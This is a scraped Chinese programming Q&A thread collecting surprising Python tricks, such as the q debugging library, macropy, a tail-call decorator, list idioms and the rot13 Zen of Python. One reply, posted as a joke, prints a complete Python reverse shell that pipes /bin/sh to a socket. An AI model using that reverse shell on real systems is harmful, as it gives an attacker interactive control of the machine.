Rumah >pembangunan bahagian belakang >Tutorial Python >你见过哪些令你瞠目结舌的 Python 代码技巧?

你见过哪些令你瞠目结舌的 Python 代码技巧?

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBasal
2016-06-06 16:22:021304semak imbas

基友问题
你见过哪些让你瞠目结舌的JAVA代码技巧? - Java
你见过哪些令你瞠目结舌的C/C++代码技巧? - 互联网
你见过哪些令你瞠目结舌的前端设计? - 程序员
你见过哪些令你瞠目结舌的Javascript代码机技巧? - 程序员
你见过哪些令你瞠目结舌的爬虫技巧? - 计算机

神经问题,非程序员欢迎一起来回答
你见过哪些令你瞠目结舌的神逻辑? - 生活
你见过哪些令你瞠目结舌的黑料理?
你见过哪些令你瞠目结舌的逗逼?
还有更多的,欢迎大家一起系列

回复内容:

当初看到这个还是觉得蛮瞠目结舌的:pypi.python.org/pypi/q
Quick-and-dirty debugging output for tired programmers
正如介绍所说的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起来,只是觉得这个很方便啊,可是仔细想想怎么实现,真是。。。全是黑科技。。。

Q 的最简单用法,打印 foo 的值:
<code class="language-python"><span class="kn">import</span> <span class="nn">q</span><span class="p">;</span> <span class="n">q</span><span class="p">(</span><span class="n">foo</span><span class="p">)</span>
</code>
让我觉得瞠目结舌的要数这个Python库了,真是将import hook用到了极致:
lihaoyi/macropy · GitHub

你问我这个有什么屌的?
来来来,看几个例子:

更好用的lambda表达式
<code class="language-python"><span class="kn">from</span> <span class="nn">macropy.quick_lambda</span> <span class="kn">import</span> <span class="n">macros</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">_</span>

<span class="k">print</span> <span class="nb">map</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">+</span> <span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span>    <span class="c"># [2, 3, 4]</span>
<span class="k">print</span> <span class="nb">reduce</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">*</span> <span class="n">_</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span> <span class="c"># 6</span>
</code>
我记得当初研究python对递归支持有多烂的时候搜到过有人通过装饰器用一种很hack的手法,把尾递归的帧清了。然而现在还是看不懂它写的是什么鬼。
code:
<code class="language-python"><span class="kn">import</span> <span class="nn">sys</span>  
  
<span class="k">class</span> <span class="nc">TailRecurseException</span><span class="p">:</span>  
  <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">):</span>  
    <span class="bp">self</span><span class="o">.</span><span class="n">args</span> <span class="o">=</span> <span class="n">args</span>  
    <span class="bp">self</span><span class="o">.</span><span class="n">kwargs</span> <span class="o">=</span> <span class="n">kwargs</span>  
  
<span class="k">def</span> <span class="nf">tail_call_optimized</span><span class="p">(</span><span class="n">g</span><span class="p">):</span>  
  <span class="sd">"""  </span>
<span class="sd">  This function decorates a function with tail call  </span>
<span class="sd">  optimization. It does this by throwing an exception  </span>
<span class="sd">  if it is it's own grandparent, and catching such  </span>
<span class="sd">  exceptions to fake the tail call optimization.  </span>
<span class="sd">    </span>
<span class="sd">  This function fails if the decorated  </span>
<span class="sd">  function recurses in a non-tail context.  </span>
<span class="sd">  """</span>  
  <span class="k">def</span> <span class="nf">func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>  
    <span class="n">f</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">_getframe</span><span class="p">()</span>  
    <span class="k">if</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_code</span> <span class="o">==</span> <span class="n">f</span><span class="o">.</span><span class="n">f_code</span><span class="p">:</span>  
      <span class="k">raise</span> <span class="n">TailRecurseException</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">)</span>  
    <span class="k">else</span><span class="p">:</span>  
      <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>  
        <span class="k">try</span><span class="p">:</span>  
          <span class="k">return</span> <span class="n">g</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>  
        <span class="k">except</span> <span class="n">TailRecurseException</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>  
          <span class="n">args</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">args</span>  
          <span class="n">kwargs</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">kwargs</span>  
  <span class="n">func</span><span class="o">.</span><span class="n">__doc__</span> <span class="o">=</span> <span class="n">g</span><span class="o">.</span><span class="n">__doc__</span>  
  <span class="k">return</span> <span class="n">func</span>
</code>
谢邀,我今天无耻一回
Dwarfartisan/pyparsec · GitHub

不许打!打也不许打脸! 先让我反弹个shell冷静一下
<code class="language-text">import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
</code>
之前在GitHub看到有人总结了一些python的tricks
brennerm/PyTricks · GitHub >>> a = [],
>>> a
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum(a,[])
[1, 2, 3, 4, 5, 6]

Python 真的好神奇 : )
再补充一个,Python切片:
>>> l = [1,2,3]
>>> l[1:1] = 'a'
>>> l
[1, 'a', 2, 3]

Python分组list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> zip(*([iter(a)] * 2))
[(1, 2), (3, 4), (5, 6)] 前几年刚学python的时候在一个项目里做了几个小尝试。

用元编程动态生成类,生成以后动态加载卸载。

把类当函数用。把函数当变量用。

花样玩容器。

顺手把其他几种EE工程师们写出来的五花八门的脚本包装了一个整整齐齐。

注释齐全,结构简明。不是性能瓶颈,所以性能不在考虑范围内。

结果被“资深工程师”骂成了狗,苦逼地回到了C++。其实只是他没有用过C++以外的任何一种语言,他的逻辑是C++是所有语言的基础,他看不懂的代码就不是好代码。 →_→下面这段居然特么混进了标准库里,令我瞠目结舌
<code class="language-python"><span class="n">s</span> <span class="o">=</span> <span class="s">"""Gur Mra bs Clguba, ol Gvz Crgref</span>

<span class="s">Ornhgvshy vf orggre guna htyl.</span>
<span class="s">Rkcyvpvg vf orggre guna vzcyvpvg.</span>
<span class="s">Fvzcyr vf orggre guna pbzcyrk.</span>
<span class="s">Pbzcyrk vf orggre guna pbzcyvpngrq.</span>
<span class="s">Syng vf orggre guna arfgrq.</span>
<span class="s">Fcnefr vf orggre guna qrafr.</span>
<span class="s">Ernqnovyvgl pbhagf.</span>
<span class="s">Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.</span>
<span class="s">Nygubhtu cenpgvpnyvgl orngf chevgl.</span>
<span class="s">Reebef fubhyq arire cnff fvyragyl.</span>
<span class="s">Hayrff rkcyvpvgyl fvyraprq.</span>
<span class="s">Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.</span>
<span class="s">Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.</span>
<span class="s">Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.</span>
<span class="s">Abj vf orggre guna arire.</span>
<span class="s">Nygubhtu arire vf bsgra orggre guna *evtug* abj.</span>
<span class="s">Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.</span>
<span class="s">Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.</span>
<span class="s">Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""</span>

<span class="n">d</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">97</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">):</span>
        <span class="n">d</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">c</span><span class="p">)]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span>

<span class="k">print</span> <span class="s">""</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">d</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">s</span><span class="p">])</span>
</code>
Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn